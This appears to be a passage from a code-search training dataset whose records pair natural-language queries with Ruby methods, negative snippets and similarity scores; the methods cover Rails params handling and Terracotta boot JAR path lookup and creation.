"def display_profile_image\n if self.picture.present? && self.picture.url(:small).present?\n self.picture.url(:small)\n else\n ActionController::Base.helpers.asset_path('user.png')\n end\n end",
"def picture_params\n params.require(:picture).permit(:image)\n end",
"def config_keys\n super + [:path, :remove_dot_git]\n end",
"def dog_picture_params\n params.require(:dog_picture).permit(:url, :name)\n end",
"def picture_params\n params.require(:picture).permit(:name, :profile_id)\n end"
] |
[
"0.6165059",
"0.6162062",
"0.60885805",
"0.60800415",
"0.6076915",
"0.6041487",
"0.5919229",
"0.59163374",
"0.58619475",
"0.5836156",
"0.58352256",
"0.58337235",
"0.58309215",
"0.58229053",
"0.58182085",
"0.58166945",
"0.58166945",
"0.5763797",
"0.57625043",
"0.57117635",
"0.57009",
"0.5691793",
"0.56910443",
"0.5680634",
"0.5654676",
"0.56481147",
"0.5645936",
"0.56420124",
"0.5622309",
"0.5619959",
"0.55995584",
"0.55991757",
"0.55938506",
"0.55855995",
"0.5573896",
"0.55657816",
"0.556548",
"0.55566156",
"0.55405",
"0.55346274",
"0.5532874",
"0.55240154",
"0.5517222",
"0.55116713",
"0.5510968",
"0.5510968",
"0.5510968",
"0.5504615",
"0.55015224",
"0.5498644",
"0.5489594",
"0.54871136",
"0.5484401",
"0.5483191",
"0.5481789",
"0.5474526",
"0.54637563",
"0.54635715",
"0.54635715",
"0.54635715",
"0.54525894",
"0.54449797",
"0.5435127",
"0.54345405",
"0.54345405",
"0.54244816",
"0.5418542",
"0.5414043",
"0.5408412",
"0.5403031",
"0.5393398",
"0.53853434",
"0.5384848",
"0.538216",
"0.53813183",
"0.53768694",
"0.53579986",
"0.53559834",
"0.5355506",
"0.5354785",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53540814",
"0.53460795",
"0.5345802",
"0.53387314",
"0.5329272",
"0.53157616",
"0.53145075",
"0.5312248",
"0.53103083",
"0.53088146"
] |
0.0
|
-1
|
Returns whatever params are originally passed in.
|
def stub_template_parsing
template_stub = Object.new
Liquid::Template.stubs(:parse).with do |params|
template_stub.stubs(:render).returns(params)
end.returns(template_stub)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def params\n _params\n end",
"def params\n return @params || NO_PARAMS if frozen?\n @params ||= NO_PARAMS.dup\n end",
"def get_params()\n return self.params.keys\n end",
"def params\n return @params\n end",
"def params\n @@params\n end",
"def request_params( params = {} )\n params\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params() request.params end",
"def params\n @params\n end",
"def params\n @_params\n end",
"def params\n return @params if defined?(@params)\n nil\n end",
"def params\n @params\n end",
"def params\n @params\n end",
"def params\n @params\n end",
"def params\n @parameters\n end",
"def request_params(params = {})\n params\n end",
"def params(*); {}; end",
"def params\n @params ||= {}\n end",
"def params\n @params ||= {}\n end",
"def params\n @params ||= { }\n end",
"def get_parameters; end",
"def get_parameters; end",
"def params\n {}\n end",
"def params\n\t if method == :post\n#\t\t @post_params.instance_variable_get(\"@hash\")\n\t\t @post_params\n\t else\n#\t\t @get_params.instance_variable_get(\"@hash\")\n\t\t @get_params\n\t end\n end",
"def query_params\n get_query_params\n end",
"def params!(params)\n params\n end",
"def get_parameters\r\n @parameters\r\n end",
"def params\n @params ||= {}\n end",
"def params\n @params ||= {}\n end",
"def params\n @opts[:params] || {}\n end",
"def get_params\n params.fetch(:get, {})\n end",
"def params\n {}\n end",
"def introspect_params\n params = self.class.instance_method(:call).parameters\n return context.keys if params.map(&:first).include?(:keyrest)\n\n params.map(&:last)\n end",
"def request_params\n @request.params\n rescue\n {}\n end",
"def params\n request.params\n end",
"def params\n request.params\n end",
"def request_params(params = {})\n params\n end",
"def params \n @params ||= Waves::Request::Query.new( captured ? \n Waves::Request::Utilities.destructure( request.query ).merge( captured.to_h ) : \n Waves::Request::Utilities.destructure( request.query ) ) \n end",
"def params\n raise NotImplementedError\n end",
"def params\n @request.params\n end",
"def original_params\n @original_params || params\n end",
"def params\n @request.params\n end",
"def params\n @params ||= self.class.params.dup\n end",
"def all_params; end",
"def parameters\n\t\t\tparameters = method.parameters\n\t\t\t\n\t\t\tunless parameters.empty?\n\t\t\t\treturn parameters\n\t\t\tend\n\t\tend",
"def params\n @opts\n end",
"def params\n @req.params\n end",
"def request_params; end",
"def params=(_arg0); end",
"def params=(_arg0); end",
"def params\n self.class.const_get(\"REQUEST_PARAMETERS\").inject({}) do |parameters, parameter|\n parameters[parameter] = instance_variable_get(\"@#{parameter}\") unless instance_variable_get(\"@#{parameter}\").nil?\n parameters\n end\n end",
"def query_parameters\n request.GET\n end",
"def params ; @params ||= Waves::Request::Query.new( request.query.merge( captured.to_h ) ) ; end",
"def params\n # Normal cases\n # raise @params.values.inspect\n # return @params.values.length.inspect\n if %w{ready accesses list_subscribe list_unsubscribe}.include?(@action)\n @params\n elsif @params.values.first.is_a? Hash\n {@params.keys.first => @params.values.first.select{|k,v| v.present? }}\n elsif @params.values.first.is_a? Array\n {@params.keys.first => @params.values.first.select(&:present?)} rescue {}\n end\n # rescue => e\n # {}\n end",
"def parameters\n nil\n end",
"def params\n @params.blank? ? default_hash : @params\n end",
"def extract_params()\n param = extract_params_pm()\n param[:dureeCours] = @dureeCours\n param[:dureeTP] = @dureeTP\n param[:quadri] = @quadri\n param[:professeur] = @professeur\n return param\n end",
"def params\n RequestStore.store[:params]\n end",
"def params\n options = @options.dup\n options.empty? ? '' : '?' + options.to_param\n end",
"def params\n request.env[\"action_dispatch.request.request_parameters\"]\n end",
"def parameters\n @params.extra_parameters\n end",
"def parsed_params\n \n end",
"def parameters\n @parameters || []\n end",
"def params(request)\n request.query\n end",
"def params\n return self.class.params\n end",
"def __get_params(data)\n if @params.kind_of?(Hash)\n @keyword_params = Utils::Hash.keys_to_sym(@params)\n @params = nil\n end\n end",
"def params\n @params||=Addressable::URI.parse(\"?#{@http_query_string}\").query_values\n end",
"def query_params; end",
"def params\n @_params ||= ActionController::ManagebleParameters.new(request.parameters)\n end",
"def _params\n return params if params.present?\n\n @_params ||= JSON.parse(request.body.read)\n end",
"def __get_params(data)\n \n # If named arguments used, assigns keys as symbols\n # but keeps numeric arguments as integers\n \n if @params.kind_of? Hash\n @params = @params.dup\n @keyword_params = JsonRpcObjects::Utils::Hash.remove!(@params) do |k, v|\n not JsonRpcObjects::Utils::String.numeric? k\n end\n \n @params = @params.sort_by { |i| i[0].to_i }.map { |i| i[1] }\n else\n @keyword_params = { }\n end\n \n JsonRpcObjects::Utils::Hash.keys_to_sym! @keyword_params\n \n end",
"def query_params=(_arg0); end",
"def params\n # URI parameters take precendence\n @params ||= post_params.merge(get_params.merge(uri_params))\n end",
"def params\n { :only => self.attrs, :methods => self.methds }\n end",
"def coolstuff_params\n params[:coolstuff]\n end",
"def params\n { :only => attrs, :methods => methds }\n end",
"def params\n { :only => self.attrs, :methods => self.methds }\n end",
"def get_all()\n @params\n end",
"def params\n @params.uniq\n end",
"def parameters\n @parameters\n end",
"def extract_parameters\n params.reject{|key, value| [\"action\", \"controller\"].include?(key) }\n end",
"def blacklight_params\n params = super\n\n # This method needs to be idempotent.\n if params[\"processed\"]\n params\n else\n process_params!(params, params_process_chain)\n end\n end",
"def a_param\n if @params.size > 1\n return @params[1]\n end\n return @params[0]\n end",
"def query_parameters\n end",
"def url_params\n if self.respond_to? :source_param\n source_params = Array(source_param)\n else\n source_params = []\n end\n\n (parameters - source_params)\n end"
] |
[
"0.7510946",
"0.7494168",
"0.74740535",
"0.7417644",
"0.7351428",
"0.7296347",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.72948146",
"0.7294657",
"0.72780776",
"0.72677594",
"0.72542274",
"0.720069",
"0.720069",
"0.720069",
"0.7158833",
"0.7136098",
"0.71328264",
"0.71171325",
"0.71171325",
"0.7107148",
"0.7097447",
"0.7097447",
"0.7086057",
"0.70767444",
"0.70615625",
"0.7059036",
"0.7054938",
"0.7051187",
"0.7051187",
"0.70181125",
"0.69932663",
"0.699288",
"0.6981866",
"0.69569045",
"0.69496715",
"0.69496715",
"0.6941404",
"0.6934471",
"0.6933899",
"0.6917587",
"0.6914311",
"0.69101304",
"0.6902259",
"0.68852687",
"0.68822926",
"0.68786865",
"0.6873307",
"0.6854664",
"0.6845529",
"0.6845529",
"0.6827958",
"0.6824447",
"0.68132716",
"0.68118995",
"0.6801589",
"0.6786665",
"0.6776019",
"0.6748921",
"0.67486554",
"0.6730453",
"0.6719558",
"0.67117274",
"0.6704314",
"0.66933995",
"0.6686208",
"0.6683511",
"0.6682832",
"0.6661198",
"0.66587967",
"0.6655024",
"0.6622104",
"0.6620892",
"0.6599855",
"0.6574597",
"0.6568186",
"0.6565339",
"0.656113",
"0.6560091",
"0.6559502",
"0.65549976",
"0.6528857",
"0.65247065",
"0.65234566",
"0.65178615",
"0.65126187"
] |
0.0
|
-1
|
What's the fullyqualified path of this boot JAR? Returns a FilePath object. (This is useful because the exact name of the boot JAR depends on the exact JVM you're running it with; this uses the Terracotta Java code to compute the name, ensuring that we don't duplicate the algorithm almost certainly incorrectly here.)
|
def path
# We cache this, since it can be fairly expensive to run the command to figure out
# what this should be.
if @path.nil?
outputproperty, errorproperty = @platform.next_output_properties
@ant.java(:classname => 'com.tc.object.tools.BootJarSignature',
:classpath => @module_set['dso-l1'].subtree('src').classpath(@build_results, :full, :runtime).to_s,
:jvm => @jvm.java,
:fork => true,
:failonerror => true,
:dir => @build_results.tools_home.to_s) do
@ant.redirector(:outputproperty => outputproperty, :alwayslog => true)
end
# Parse the output in case the JVM prints out additional messages, only the line
# that contains the actual boot jar name will be used.
# On MacOSX the JVM sometimes prints "HotSpot not at correct virtual address.
# Sharing disabled." for instance. Without parsing the output, the name of the
# bootjar file will be wrong.
rawout = @ant.get_ant_property(outputproperty)
out = rawout
rawout.each do |line|
if line =~ /^dso-boot-/
out = line
break
end
end
@path = FilePath.new(@directory, out)
end
@path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def shared_boot_jar_directory\n FilePath.new(@build_dir, \"boot-jars\")\n end",
"def jar_path(p)\n path = p.sub(/^file:/, \"\").sub(/!.*/, \"\")\n path = path.sub(/^\\//, \"\") if win_platform? && path =~ /^\\/[A-Za-z]:/\n path\n end",
"def crypto_jar_internal_path(jar)\n libs = jar_contents(jar).scan(\n %r{\n (?<=\\ )resources\\/.*\n (?<=\\/[0-9])\\/\n com\\.adobe\\.granite\\.crypto-[0-9]+\\.[0-9]+\\.[0-9]+[^\\.]*\\.jar$\n }x\n ).flatten\n\n raise(\"Found #{libs}, but single JAR file is expected. Aborting!\") if libs.length != 1\n\n libs.first\n end",
"def path\n Rails.root.join(ROOT, type, name, executable).to_s\n end",
"def file_path path\n File.join(output_path, manifest.lookup(path).split('/')[2..-1])\n end",
"def bundled_path\n File.dirname Wisp::Source.bundled_path\n end",
"def path\n @bundle_filename\n end",
"def executable_path; end",
"def pack_path(name)\n path = WebpackerLite::Configuration.base_path\n file = WebpackerLite::Manifest.lookup(name)\n \"#{path}/#{file}\"\n end",
"def path_to_bin(name = nil)\n home = ENV['JAVA_HOME'] or fail 'Are we forgetting something? JAVA_HOME not set.'\n bin = Util.normalize_path(File.join(home, 'bin'))\n fail 'JAVA_HOME environment variable does not point to a valid JRE/JDK installation.' unless File.exist? bin\n Util.normalize_path(File.join(bin, name.to_s))\n end",
"def manifest_path\n path = @config[\"manifest\"][\"path\"] if @config[\"manifest\"]\n return Licensed::Git.repository_root.join(path) if path\n\n @config.cache_path.join(\"manifest.json\")\n end",
"def manifest_path\n build_output_dir.join('manifest.json')\n end",
"def executable\n return File.basename(archive_path)\n end",
"def connectorj_jar\n ::File.basename(new_resource.url, '.tar.gz') + if connectorj_ver.split('.')[0].to_i >= 8\n '.jar'\n else\n '-bin.jar'\n end\n end",
"def this_script_filename\n Pathname.new($0).realpath\n end",
"def package_name\n @package_name ||=\n Pathname(\"#{cartage.final_name}.tar#{cartage.tar_compression_extension}\")\n end",
"def tar_path\n File.expand_path(@env[\"package.output\"], FileUtils.pwd)\n end",
"def local_path\n File.join([\"Subassemblies\", \"#{self.name}.craft\"])\n end",
"def get_bundle_install_name(bundle_dir, binary)\n\tcurrent_dir = \"#{bundle_dir}/#{BUNDLE_MAIN_EXE_PATH}\"\n\trelative_path = Pathname.new(binary).relative_path_from(Pathname.new(current_dir)).to_s\n\trelative_path = \"@executable_path/#{relative_path}\"\n\treturn relative_path\nend",
"def bootstrap_dir\n File.join(data_dir, 'bootstrap')\n end",
"def package_path(extension='.gem')\n File.join(package_dir, package_basename(extension))\n end",
"def driver_path\n File.absolute_path File.join(System.install_dir, file_name)\n end",
"def slave_jar\n ::File.join(Chef::Config[:file_cache_path], 'slave.jar')\n end",
"def rackup_path_from_rubylib\n env_path_separator = is_windows? ? ';' : ':'\n path_separator = Regexp.escape(File::ALT_SEPARATOR || File::SEPARATOR)\n needle = /#{path_separator}rack#{path_separator}/\n\n paths = ENV[\"RUBYLIB\"].to_s.split(env_path_separator)\n\n if rack_lib = paths.find{|path| path =~ needle }\n path = Pathname.new(rack_lib).parent.join(\"bin\").join(\"rackup\").expand_path\n path if path.file?\n end\n end",
"def full_filename\n File.join(path, self.disk_filename)\n end",
"def bin_file(name)\n File.join bin_dir, name\n end",
"def datafile_path(env)\n env[:machine].data_dir.join(\"berkshelf\")\n end",
"def target_recipe_path\n key = Digest::MD5.hexdigest(config.recipe)\n File.join(config.upload_path, \"recipe-#{key}.rb\")\n end",
"def slave_jar\n ::File.join(new_resource.remote_fs, 'slave.jar')\n end",
"def get_path(filename)\n\n Pathname(__FILE__).ascend{ |directory|\n path = directory + \"ansiblealexa.yml\"; break path if path.file?\n }\n\nend",
"def pkg_path\n \"pkg/#{spec.full_name}\"\n end",
"def path\n @backend.lib_dir + name_on_disk\n end",
"def filepath\n groupId = @groupId.gsub('.', '/')\n artifactId = @artifactId.gsub('.', '/')\n return \"#{groupId}/#{artifactId}/#{@version}/#{artifactId}-#{@version}\"\n end",
"def bits_full_local_path\n File.join(version_dir, BITS_FILENAME)\n end",
"def file_in_ipa_path(filename)\n File.join('public', 'binaries', \"#{filename}.ipa\")\n end",
"def bin_path\n @bin_path ||= Wide::PathUtils.secure_path_join(Settings.compilation_base,\n user.user_name, name)\n end",
"def get_output_filename(basename)\n package_path_base = File.basename(@package_path)\n filename = File.join(package_path_base, \"#{basename}.zip\")\n\n i = 1\n while File.exists?(filename)\n filename = File.join(package_path_base, \"#{basename}(#{i}).zip\")\n i += 1\n end\n\n filename\n end",
"def base_filename\n \"backup-#{self.class.name.demodulize}.tar\"\n end",
"def chef_binary_path(binary)\n return binary if [email protected]_path\n return File.join(@config.binary_path, binary)\n end",
"def extract_filename(full_path = T.unsafe(nil)); end",
"def rackup_path_from_argv\n if path = @bin.options[:rackup]\n return path if path.file?\n warn \"rackup does not exist at #{path} (given with -R)\"\n end\n end",
"def fetch_path(start_path)\n ['', 'config'].each do |directory|\n ['', '.'].each do |prefix|\n path = File.join(start_path, directory, \"#{prefix}#{@file_name}\")\n return path if File.exist?(path)\n end\n end\n nil\n end",
"def arch_spec_path\n File.join(RAILS_ROOT, 'vendor/gems', canonical_arch, 'specifications')\n end",
"def full_filename(for_file)\n #[remote_process!, for_file].join(\".\")\n for_file\n end",
"def path\n Pathname.new(\n File.expand_path(\n File.join(Gem.user_home, \".bowline\")\n )\n )\n end",
"def path\n File.expand_path File.join(basepath, version_dir, basename)\n end",
"def chef_file_path\n File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '__chef.js')\n end",
"def locate\r\n File.dirname(__FILE__)\r\n end",
"def locate\r\n File.dirname(__FILE__)\r\n end",
"def applicationFilesDirectory\n file_manager = NSFileManager.defaultManager\n library_url = file_manager.URLsForDirectory(NSLibraryDirectory, inDomains:NSUserDomainMask).lastObject\n library_url.URLByAppendingPathComponent(\"Hubcap\")\n end",
"def main_name(path)\n File.basename(path).sub(/\\.[^\\.]+$/,'')\n end",
"def binary_path\n # Always prefer a manually entered path\n if cracker_path && ::File.file?(cracker_path)\n return cracker_path\n else\n # Look in the Environment PATH for the john binary\n if cracker == 'john'\n path = Rex::FileUtils.find_full_path(\"john\") ||\n Rex::FileUtils.find_full_path(\"john.exe\")\n elsif cracker == 'hashcat'\n path = Rex::FileUtils.find_full_path(\"hashcat\") ||\n Rex::FileUtils.find_full_path(\"hashcat.exe\")\n else\n raise PasswordCrackerNotFoundError, 'No suitable Cracker was selected, so a binary could not be found on the system'\n end\n\n if path && ::File.file?(path)\n return path\n end\n\n raise PasswordCrackerNotFoundError, 'No suitable john/hashcat binary was found on the system'\n end\n end",
"def name_on_disk\n self.class.library_directory_name(@name)\n end",
"def pathDist\n\t\"../../\" + distPackageName + \"_\" + version + \"/\"\nend",
"def file_name\n \"#{full_name}.gem\"\n end",
"def manifest_path\n Gym.cache[:manifest_path] ||= File.join(temporary_output_path, \"manifest.plist\")\n end",
"def gem_deps_file # :nodoc:\n File.basename @path\n end",
"def path_from_package(package_name)\n ret = package_from_name package_name\n ret && ret.root_path\n end",
"def java_file_name(prepend_path = false, append_extension = false)\n\t\tjfile_name = file_name\n\t\tjfile_name += \".java\" if append_extension\n\t\tjfile_name = JAVA_PATH + jfile_name if prepend_path\n\t\treturn jfile_name\n\tend",
"def get_file_path(filename)\n File.join(__dir__, filename).freeze\n end",
"def package_basename(extension='.gem')\n [ package_name, version ].join('-') + extension\n end",
"def module_jar_file(build_module)\n module_info(build_module).jarfile\n end",
"def ruby_path\n ext = ((RbConfig::CONFIG['ruby_install_name'] =~ /\\.(com|cmd|exe|bat|rb|sh)$/) ? \"\" : RbConfig::CONFIG['EXEEXT'])\n File.join(RbConfig::CONFIG['bindir'], RbConfig::CONFIG['ruby_install_name'] + ext).sub(/.*\\s.*/m, '\"\\&\"')\n end",
"def cookbooks_path\n verify_path COOKBOOKS_PATH\n File.join @tar_contents_path, COOKBOOKS_PATH\n end",
"def base_file\n path.join(\"#{daemon_name}.rb\")\n end",
"def release_path\n ::File.join(install_path, artifact_name, artifact_version)\n end",
"def bundle_dir\n File.expand_path(File.join(Bixby.repo_path, self.relative_path))\n end",
"def iiif_file()\n pid_parts = pid.split(\":\")\n base = pid_parts[1]\n parts = base.scan(/../) # break up into 2 digit sections, but this leaves off last char if odd\n parts << base.last if parts.length * 2 != base.length\n pid_dirs = parts.join(\"/\")\n jp2k_filename = \"#{base}.jp2\"\n jp2k_path = File.join(Settings.iiif_mount, pid_parts[0], pid_dirs)\n jp2k_path = File.join(jp2k_path, jp2k_filename)\n return jp2k_path\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path],\n ::File.basename(source_path))\n end",
"def specific_manifest_file_path\n \"#{get_formatted_controller_name}-#{get_formatted_action_name}\"\n end",
"def install_path\n Berkshelf.cookbook_store.storage_path\n .join(\"#{dependency.name}-#{revision}\")\n end",
"def class_file_name(prepend_path = false, append_extension = false)\n\t\tjfile_name = file_name\n\t\tjfile_name += \".class\" if append_extension\n\t\tjfile_name = CLASS_PATH + jfile_name if prepend_path\n\t\treturn jfile_name\n\tend",
"def local_artifact_name\n if File.directory?(@resource[:path])\n b, f = bucket_and_file(@resource[:source])\n artifact = File.join(@resource[:path], f)\n else\n artifact = @resource[:path]\n end\n end",
"def binary_for_app(app_path)\n binary_dir = File.join(app_path, \"Contents\", \"MacOS\")\n binary_path = Dir.glob(File.join(binary_dir, \"*-bin\")).first\n if binary_path.nil?\n standard_path = File.join(binary_dir, File.basename(app_path, \".app\"))\n if File.exists?(standard_path)\n binary_path = standard_path\n end\n end\n return binary_path\nend",
"def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"def main_class\n ## find file\n main_utf = nil\n self.user_turnin_files.each do |utf|\n main_utf = utf if utf.main\n end\n return '' if main_utf.nil?\n \n ## calculate nesing\n classpath = \"#{parent_utf_package( main_utf )}.#{main_utf.filename}\"\n classpath = classpath.gsub('..','.')\n \n while classpath[0...1].eql?('.')\n classpath = classpath[1...classpath.length]\n end\n \n if classpath.reverse[0...5].eql?(\"avaj.\")\n classpath = classpath[0...classpath.length-5]\n end\n \n return classpath\n end",
"def downloaded_path\n @downloaded_path ||= File.join(install_path, file_name(url))\n return @downloaded_path\n end",
"def real_main_file_name\n @real_main_file_name ||= File.basename( main_file_path )\n end",
"def file_path(append_extension = true)\n\t\tpath = SOLUTION_PATH + folder_name + class_name\n\t\tpath += '.java' if append_extension\n\t\treturn path\n\tend",
"def this_file_path\n Pathname.new( __FILE__ ).expand_path\n end",
"def gemfile_path\n @gemfile_path ||= GEMFILES.map { |g| @config.pwd.join g }\n .find { |f| f.exist? }\n end",
"def local_backup_path\n [local_directory, Confluence.filename].join('/')\n end",
"def package_scripts_path\n \"#{Config.project_root}/package-scripts/#{name}\"\n end",
"def chef_binary_path()\n binary = \"chef-#{@client_type}\"\n return binary if [email protected]_path\n return win_friendly_path(File.join(@config.binary_path, binary))\n end",
"def manifest_file_name\n basename = name.gsub(/\\.yml/, '') + \".yml\"\n end",
"def final_file_path\n \"#{@tmp_dir}/#{final_map_name}\"\n end",
"def manifest_file_name\n basename = \"#{name}.yml\"\n end",
"def current_path\n ::File.join(install_path, artifact_name, 'current')\n end",
"def version_file_from( name )\n\t\treturn name.\n\t\t\tsplit( /-/ ).\n\t\t\treject {|word| PACKAGE_IGNORE_WORDS.include?(word) }.\n\t\t\tjoin( '/' )\n\tend",
"def downloaded_gem_path\n self.class.downloaded_gem_path @name, @version\n end",
"def target_path(target_name)\r\n File.join(package_dir, target_name)\r\n end",
"def path_boot\n case node['platform']\n when \"exherbo\", \"ubuntu\", \"arch\"\n return \"/etc/modules-load.d/#{new_resource.name}.conf\"\n when \"debian\", \"ubuntu\"\n return \"/etc/modules\"\n end\nend",
"def lock_basename\n lock_path and File.basename(lock_path)\n end",
"def default_bootloader_path(obj) # :doc:\n subdomain = obj.conference.subdomain\n if %w(test development).include? Rails.env\n \"http://#{subdomain}.ponzu.local:3000\"\n else\n \"https://#{subdomain}.castle104.com\"\n end\n # Rails.configuration.message_mailer_bootstrap\n end",
"def appBundlesPath\n \"#{SIMULATORS_ROOT}/#{@guid}/#{DEVICE_APP_BUNDLES_RELATIVE_PATH}\"\n end",
"def gem_path\n @path || downloaded_gem_path\n end",
"def full_path\n File.dirname(File.expand_path(serialized_filename))\n end",
"def manifest_name(name, pack_type)\n return name if File.extname(name.to_s).empty?\n File.basename(name, \".#{pack_type}\")\n end",
"def manifest_name(name, pack_type)\n return name if File.extname(name.to_s).empty?\n File.basename(name, \".#{pack_type}\")\n end",
"def find_config_path\n path = Pathname(Pathname.pwd).ascend{|d| h=d+config_filename; break h if h.file?}\n end"
] |
[
"0.729299",
"0.67222077",
"0.6380369",
"0.631765",
"0.62999696",
"0.6279548",
"0.6253895",
"0.6236919",
"0.6099677",
"0.6094222",
"0.6052982",
"0.6022258",
"0.6018063",
"0.5983306",
"0.5939249",
"0.5936557",
"0.59211427",
"0.59173006",
"0.59156287",
"0.59054846",
"0.59049624",
"0.58789545",
"0.58543354",
"0.5849626",
"0.5849277",
"0.58232903",
"0.5817931",
"0.5814326",
"0.58132136",
"0.58111566",
"0.5799083",
"0.57986706",
"0.578938",
"0.5773283",
"0.57727534",
"0.5759782",
"0.5758184",
"0.5755594",
"0.57534194",
"0.5735886",
"0.57351065",
"0.5729789",
"0.57186097",
"0.5714871",
"0.56997865",
"0.56843036",
"0.56575125",
"0.5656724",
"0.5656724",
"0.5653995",
"0.56516266",
"0.5650936",
"0.564868",
"0.5631892",
"0.5630736",
"0.56258184",
"0.56253123",
"0.56239766",
"0.562145",
"0.5620035",
"0.5603783",
"0.5603102",
"0.5598874",
"0.5594249",
"0.55940926",
"0.55928487",
"0.5590698",
"0.5588287",
"0.558667",
"0.55830973",
"0.5576114",
"0.5570298",
"0.55678844",
"0.555973",
"0.5559353",
"0.5554667",
"0.55528015",
"0.55416006",
"0.55394435",
"0.5535762",
"0.55354834",
"0.55341685",
"0.55338126",
"0.55302465",
"0.5524566",
"0.5523273",
"0.55232537",
"0.55199295",
"0.55191624",
"0.55186254",
"0.5518202",
"0.55140215",
"0.5513977",
"0.5506577",
"0.550281",
"0.54960454",
"0.5482699",
"0.54800624",
"0.54800624",
"0.5475496"
] |
0.68067217
|
1
|
Make sure there's a boot JAR at the given location. This will delete any existing file at the specified location! Be careful. This will only create this boot JAR once for a given instance of this object, so you don't have to worry about repeating work.
|
def ensure_created
unless @created
classpath = @module_set['dso-tests-jdk15'].subtree('src').classpath(@build_results, :full, :runtime)
puts("Creating boot JAR with: #{@jvm} and config file: #{@config_file}")
File.delete(path.to_s) if FileTest.exist?(path.to_s)
sysproperties = {
PropertyNames::TC_BASE_DIR => @static_resources.root_dir.to_s,
PropertyNames::MODULES_URL => @build_results.modules_home.to_url
}
begin
@ant.java(:classname => 'com.tc.object.tools.BootJarTool',
:classpath => classpath.to_s,
:jvm => @jvm.java,
:fork => true,
:failonerror => true,
:dir => @build_results.tools_home.to_s) do
sysproperties.each do |name, value|
@ant.sysproperty(:key => name.xml_escape(true),
:value => value.xml_escape(true))
end
@ant.arg(:value => '-o')
@ant.arg(:value => @directory.ensure_directory)
@ant.arg(:value => '-f')
@ant.arg(:value => @config_file)
@ant.arg(:value => '-q')
end
rescue
raise("Bootjar creation failed")
end
@created = true
end
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inject_jar(jar_path)\n jar_dir = tmp_app_path.join('Contents/Java')\n jar_dir.rmtree\n jar_dir.mkdir\n cp Pathname.new(jar_path), jar_dir\n end",
"def destroy(location)\n begin\n Pem::Logger.logit(\"Removing #{location}\")\n FileUtils.rm_rf(location)\n rescue StandardError => err\n Pem::Logger.logit(err, :fatal)\n raise(err)\n end\n\n @pem.filesync.deploy\n @pem.refresh_envs\n end",
"def delete_package_file_if_necessary\n # Unless, other packages reference the package on the filesystem\n unless Package.where(:installer_item_location => self.installer_item_location).length > 1\n begin\n FileUtils.remove(Munki::Application::PACKAGE_DIR + self.installer_item_location)\n rescue\n logger.error \"Unable to remove #{self.installer_item_location} from filesystem\"\n end\n end\n end",
"def shared_boot_jar_directory\n FilePath.new(@build_dir, \"boot-jars\")\n end",
"def delete_manifest\n # TODO: handle s3 case, and use URI for source_location (need to change across batch ingest gem as well)\n FileUtils.rm(@source_location, force: true)\n end",
"def ensure_complete_app_installation(app_bundle_dir)\n return nil if app_bundle_dir.nil?\n return app_bundle_dir if complete_app_install?(app_bundle_dir)\n\n # Remove the directory that contains the app bundle\n base_dir = File.dirname(app_bundle_dir)\n FileUtils.rm_rf(base_dir)\n\n # Clean up Containers/Data/Application\n remove_stale_data_containers\n\n nil\n end",
"def bootstrap\n return if File.exist?(file)\n save\n end",
"def clean!\n stop\n FileUtils.remove_entry(download_path) if File.exists? download_path\n FileUtils.remove_entry(tmp_save_dir, true) if File.exists? tmp_save_dir\n FileUtils.remove_entry(instance_dir, true) if File.exists? instance_dir\n FileUtils.remove_entry(md5sum_path) if File.exists? md5sum_path\n FileUtils.remove_entry(version_file) if File.exists? version_file\n end",
"def clean!\n stop\n FileUtils.remove_entry(download_path) if File.exists? download_path\n FileUtils.remove_entry(tmp_save_dir, true) if File.exists? tmp_save_dir\n FileUtils.remove_entry(instance_dir, true) if File.exists? instance_dir\n FileUtils.remove_entry(md5sum_path) if File.exists? md5sum_path\n FileUtils.remove_entry(version_file) if File.exists? version_file\n end",
"def in_pristine_fake_libraries_dir(example)\n d = Dir.mktmpdir\n begin\n # write a yaml file containing the current directory\n dummy_config = { \"directories\" => { \"user\" => d.to_s } }\n @arduino_dir = Pathname.new(d)\n @libraries_dir = @arduino_dir + \"libraries\"\n Dir.mkdir(@libraries_dir)\n\n f = File.open(@config_file, \"w\")\n begin\n f.write dummy_config.to_yaml\n f.close\n example.run\n ensure\n begin\n File.unlink(@config_file)\n rescue Errno::ENOENT\n # cool, already done\n end\n end\n ensure\n if ArduinoCI::Host.needs_symlink_hack?\n stdout, stderr, exitstatus = Open3.capture3('cmd.exe', \"/c rmdir /s /q #{ArduinoCI::Host.pathname_to_windows(d)}\")\n unless exitstatus.success?\n puts \"====== rmdir of #{d} failed\"\n puts stdout\n puts stderr\n end\n else\n FileUtils.remove_entry(d)\n end\n end\n end",
"def patch_aws_s3\n Dir['bin/*'].each do |bin|\n rm bin\n end\n end",
"def bootstrap_cleanup\n end",
"def delete_code(location)\n pathname = Pathname.new(location)\n if not pathname.directory?\n location = pathname.dirname\n end\n FileUtils.rm_rf(location) if pathname.exist?\n if pathname.exist? \n raise \"Deleting stuff it shouldnt\"\n end\n end",
"def reset_registered_jarfiles\n @registered_jarfiles = {}\n end",
